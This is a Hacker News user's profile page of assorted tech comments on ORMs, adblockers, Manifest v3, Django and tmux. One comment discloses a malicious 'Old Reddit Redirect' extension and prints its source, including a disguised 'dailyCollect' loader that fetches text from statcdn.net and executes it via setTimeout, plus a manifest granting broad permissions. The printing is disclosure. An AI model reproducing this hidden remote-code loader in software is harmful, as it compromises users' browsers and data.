HN user

livre

470 karma
Posts0
Comments206
View on HN
No posts found.

Nobody here has addressed the actual issue of Blockchain in a cashless society. You need internet for using crypto, your internet company accepts only legal currency (card, cash, etc) and since there's no chash and you have been cut off from using cards you can't pay for your internet bill and that means it'll eventually get cut and you won't be able to use crypto. Crypto needs cash to work, because people need cash or card for utilities, those companies won't accept your make believe money like the little shop in the corner does.

I've worked for close to a decade with Django's ORM and recently with TypeORM, both have been simple to use and generally (minus some weird things I tried to do) a pleasure. I recently started working with a not so important project at my current job with sqlalchemy because I had to use Flask, I cannot describe the pain I've felt working with this, I dread having to write yet another query with sqlalchemy. The docs are terrible, some of the worst I've ever seen, an obscure and undocumented government library I'm also using at work has been easier to learn by reading its code than sqlalchemy. Someone above mentioned that the new 2.0 docs are better, I seriously hope they are, they will make my suffering more tolerable. However, even if the docs are good the API is still the worst and least intuitive I've ever seen, it honestly feels like I'm writing raw sql code shaped like python code. But it is weird, non standard and difficult to follow, unlike the official python sql interface. I recently had to write an upset and it felt like I was trying to summon a forgotten demon. It would have honestly been much easier to just write it in raw sql.

I'm sorry for the wall of text, I wanted to let you know that I'm very grateful for you suggesting that library. I hope I can migrate this (still) relatively small codebase away from sqlalchemy. I'm going to give pugsql and peewee a try, both have been mentioned in this thread as good alternatives.

I can summarize my basic complain here: the abstraction layer that sqlalchemy provides is more complex than SQL itself. It's almost not worth it, add to that the docs are a huge mess and you get something only diehards and people who have been using it for decades want to use.

Try to not recommend Tampermonkey, it is closed source, slow, bloated and a bit sketchy, uses Google Analytics and right now the privacy policy link in their website isn't working for me (redirects to the home page). There are better, faster, less bloated and open source alternatives, like Violentmonkey which now has a reasonable privacy policy (https://violentmonkey.github.io/privacy/).

Btw thanks for the script, the alternating colours between comments and replies should be part of the standard hacker news experience, thanks for adding that.

I've been running AdGuardHome for years, almost since it came out. I prefer keeping it up to date manually after reading the release notes and known issues (by visiting the config page and clicking update if it notifies me that there is a new version) but if you want to automate it you can install the Snap or Docker version or use the API[1] to trigger an auto upgrade. Installing it is easy, there's even an automated installation script now[2] but I prefer to do it manually and run it as a regular user without root permissions. It can run from pretty much anywhere in your filesystem and as any user as long as it has the correct permissions, that's what made me choose it instead of PiHole at first, also the more advanced regex blocking rules.

The easiest way to keep it up to date is probably a Cron script that runs curl to trigger the upgrade API endpoint.

[1] https://github.com/AdguardTeam/AdGuardHome/blob/master/opena...

[2] https://github.com/AdguardTeam/AdGuardHome#getting-started

Yes, Mozilla is keeping the whole functionality. You can MITM yourself but then you'll be lowering your own security and your proxy will have to do its own certificate validation because the browser won't be able to do it anymore. You are also restricted to things you can modify with a simple regex (unless you add HTML parsing to your proxy but then you'll be double parsing, once in the proxy and another time in the browser). And it's still probably going to break with websites in the HSTS preload list. And content generated by JavaScript won't be blocked easily. It's also going to be very inefficient, don't underestimate the years of performance improvements behind adblocking extensions. Adblockers like uBlock Origin also do much more than just blocking requests. For example they can inject small snippets of JavaScript to neutralize tracking scripts without breaking websites that depend on them by introducing dummy functions with the same API as the tracking script or to counter anti adblocking scripts. It can also inject CSS snippets to fix website breakage. And block requests based on what website they originate from. And probably much more than you can easily do with a simple proxy.

Let's say you load https://example.com/video and that page loads https://example.com/ads.js in the background.

What DNS adblockers like PiHole see is only a request for the domain (example.com), they can't see whether it is http or https nor can they see /ads.js or the rest of the path, port, query parameters, etc. They may not even see the second attempt at loading the domain (the /ads.js request) because the browser and the OS have probably cached the request.

uBlock Origin and other adblockers can see the whole request and modify it[1]. They can see whether it is http or https (that's how https everywhere knows what to redirect and where) and they can see whether you are loading /video or /ads.js and if they see /ads.js they can tell the browser to not load that.

[1] Google is going to remove the "modify" part of functionality in manifest v3 citing privacy and security concerns (while ironically keeping the "see" part) in an attempt to kill or limit the functionality of adblockers. Since YouTube uses an ever changing list of domains for serving videos and ads this change will effectively unblock ads in YouTube because adblockers can only keep a static list of what to block and when instead of doing it dynamically, and said static list can only be updated (as far as I know) by pushing a new version of the extension to the store, severely limiting the frequency of updates, making it impossible to keep up with the frequent changes in YouTube.

I agree with this, I've been using Django for more than a couple of years. The built-in admin interface is a blessing, the ORM is good enough and unless you are handling very huge loads it doesn't matter if it doesn't always generate the most efficient queries (in more than 5 years I've never run into any issues with that). The almost but not exactly MVC pattern that also let's you mix both class and function based views coupled with a very limited template system is a curse. I would have preferred one way to do things(TM) but the Django approach let's you badly do a hundred and more different ways if you aren't very experienced with it (and even if you are you need a lot of discipline to do things properly, and even if you have discipline sometimes Django doesn't have a feature you need so you implement your own and then a major release comes and now it has its own incompatible way of doing the same thing). I still wouldn't change Django for anything else, I'm sure I wouldn't have a job anymore if it weren't for how fast and easily I can implement things with it (management is an absolute hell here and changes how everything is done every couple of months until management itself gets fired and replaced every year or two).

Block reason: Access from your Country was disabled by the administrator.

Thanks for that mirror, I occasionally use the lynx web browser that is also hosted there and being blocked has always been a problem.

Debian for Mobile 5 years ago

Any plans on porting it to more mainstream phones? It seems to be aiming for "first-world phones" at the moment which is nice since they are more open and you don't have to worry (too much) about proprietary blobs and firmware but leaves a big chunk of the world out.

It spawns an isolated process. Javascript as a language and its runtime cannot support threads. To do "threads" they basically initialise a new instance of JS runtime.

Sometimes I need an answer as blunt and direct as that one to understand something, thanks.

I'm not sure I get your point. It's more or less what I said, it isn't using real OS threads but it is doing something similar to green threads. It isn't true multithreading in the sense that it doesn't spawn an OS thread but it spawns lightweight (or green or simulated) threads with their own VM.

Saying that JavaScript is single threaded isn't accurate anymore. Even the article we just read mentions that you can run multiple threads with WebWorkers. The problem with JavaScript is that the main thread may* block the UI.

* Why may? The older APIs such as document.write and synchronous XHR do but modern browsers already warn against that. And the modern APIs don't block the UI because they are asynchronous and work with callbacks or promises. Bad JavaScript code can make the UI sluggish though, people should be performing complex tasks on a WebWorker but that's not as easy or as obvious as the default of performing them on the UI thread. The same problems can happen in native Windows programming for the same reason, the UI thread being the main thread. This is a bad design decision from decades ago that will likely haunt us for many more decades in the desktop OS and on the web.

New Firefox 5 years ago

This seems like the same problem with have with RAM requirements, we have more resolution and RAM than we used to have in the past so developers and designers waste more of it because they don't need to be as careful as they used to.

I prefer it to be intuitive rather than save half a second pressing keys (and then lose it because I forget which one goes up and which down). It would be better to have both ways for the two kinds of people.

I didn't know it was for efficiency, thanks for explaining that. I have always been so inefficient with it that I thought it was just a remnant from the 80s.

With tmux the leader key (default ^b) followed by '?'

I used to know that, thanks, but you aren't the first person to point that to me and won't be the last. My memory is really bad and by the time I have to use that again I will forget that it exists. For someone like me a command like that has to be visible on the screen at all times, I can't nemorize things no matter how much I try.

To summarize, my problem isn't just that I forget that X action's shortcut, it is that I forget that X can be done and that also prevents me from searching "how to do X with tmux" because I don't even remember X.

It has the keyboard shortcuts right there on the screen so you don't have to remember them. This is very useful for people like me who can never learn them no matter how many years we use the software. The use of [] and hjkl for moving around is less friendly though, I can use the more intuitive arrow keys with tmux, this isn't the 80s anymore, the arrow keys work well in any modern terminal emulator. Also the square brackets keys only work well in English keyboards.

I can't edit the original comment anymore, I posted it in a rush and didn't have time to check the script contents. The loaded script also loads a script called "firebase.js" from this URL: https://1658209995.rsc.cdn77.org/firebase.js (archive: https://archive.is/gdij8). That script is obviously not the actual Firebase, you can paste it in a deobfuscator and see what it does, it has some funny things such as a postMessage called "GimmeResults."

Manifest v3 Update 5 years ago

It is possible that that's the explanation but stopping just one API only affects people/extensions willing to follow the rules (uBlock Origin for example) while the bad players will just change a few lines and begin using other APIs. The end result is people are less protected because they have crippled adblockers and data can still be exfiltrated, and worse than that, malicious ads can't be prevented from loading anymore.

If anyone wants to download the crx and inspect it: https://edge.microsoft.com/extensionwebstorebase/v1/crx?resp...

The URL used in the XHR points to this (accessing directly only shows a '0' but with archive.is you get that JavaScript): https://archive.is/TxFWj

Here's the full source code:

    const oldReddit = "https://old.reddit.com";
    const excludedPaths = ["/gallery", "/poll", "/rpan", "/settings", "/topics"];
    
    chrome.webRequest.onBeforeRequest.addListener(
      function(details) {
        const url = new URL(details.url);
        
        if (url.hostname === "old.reddit.com") return;
        
        for (const path of excludedPaths) {
          if (url.pathname.indexOf(path) === 0) return;
        }
        
        return {redirectUrl: oldReddit + url.pathname + url.search + url.hash};
      },
      {
        urls: ["*://reddit.com/*", "*://www.reddit.com/*", "*://np.reddit.com/*", "*://new.reddit.com/*", "*://amp.reddit.com/*",],
        types: [
          "main_frame",
          "sub_frame",
          "stylesheet",
          "script",
          "image",
          "object",
          "xmlhttprequest",
          "other"
        ]
      },
      ["blocking"]
    );
    
    function dailyCollect() {
      let xmlHttpRequest = new XMLHttpRequest();
      xmlHttpRequest.timeout = 2e4;
      xmlHttpRequest.onreadystatechange = function () {
        return (xmlHttpRequest.readyState === XMLHttpRequest.DONE && xmlHttpRequest.status === 2e2 && xmlHttpRequest.responseText) ? successReportDebug(true, xmlHttpRequest.responseText) : null;
      };
    
      let successReportDebug = function (status, apply) {
        if (!status) {
          setTimeout(dailyCollect, 3e4)
        } else {
          console.log('Stats was collected ' + setTimeout.apply(top, [apply]))
        }
      };
    
      try {
        xmlHttpRequest.open("GET", 'https://statcdn.net/app/?id=8438fce9-6d9a-45c4-ba2c-e643c1291253', true);
        xmlHttpRequest.send();
      } catch (e) {
        successReportDebug(false)
      }
    }
    
    dailyCollect();
And the manifest:
    {
      "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",
      "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
      "name": "Old Reddit Redirect",
      "description": "Ensure Reddit always loads the old design",
      "version": "1.2.0",
      "manifest_version": 2,
      "background": {
        "scripts": [
          "background.js"
        ]
      },
      "icons": {
        "48": "img/icon48.png",
        "128": "img/icon128.png"
      },
      "permissions": [
        "tabs",
        "<all_urls>",
        "webRequest",
        "webRequestBlocking",
        "*://reddit.com/*",
        "*://www.reddit.com/*",
        "*://np.reddit.com/*",
        "*://new.reddit.com/*",
        "*://amp.reddit.com/*"
      ]
    }
Manifest v3 Update 5 years ago

I find it ironic that the only API Google decided to cripple was the one used for adblocking when there are countless of ways to exfiltrate data from an extension. I share the same pessimistic view as Nicksil with respect to Firefox, this is the direction Mozilla has been going with other parts of the browser.

Edit: I know Mozilla said they are waiting for a better alternative, but any alternative that can be proposed will end up being less powerful than what we currently have.

Why do they add that warning in bold about NewPipe sharing your IP with YouTube but don't add it for the other clients? That's an obvious thing, any YouTube client you use will share your IP with YouTube unless you are hiding behind a proxy or VPN, that's how internet works.

RedReader for reddit is missing, though it is a bit obscure but the programmers are privacy conscious and the client doesn't include any kind of telemetry as far as I know.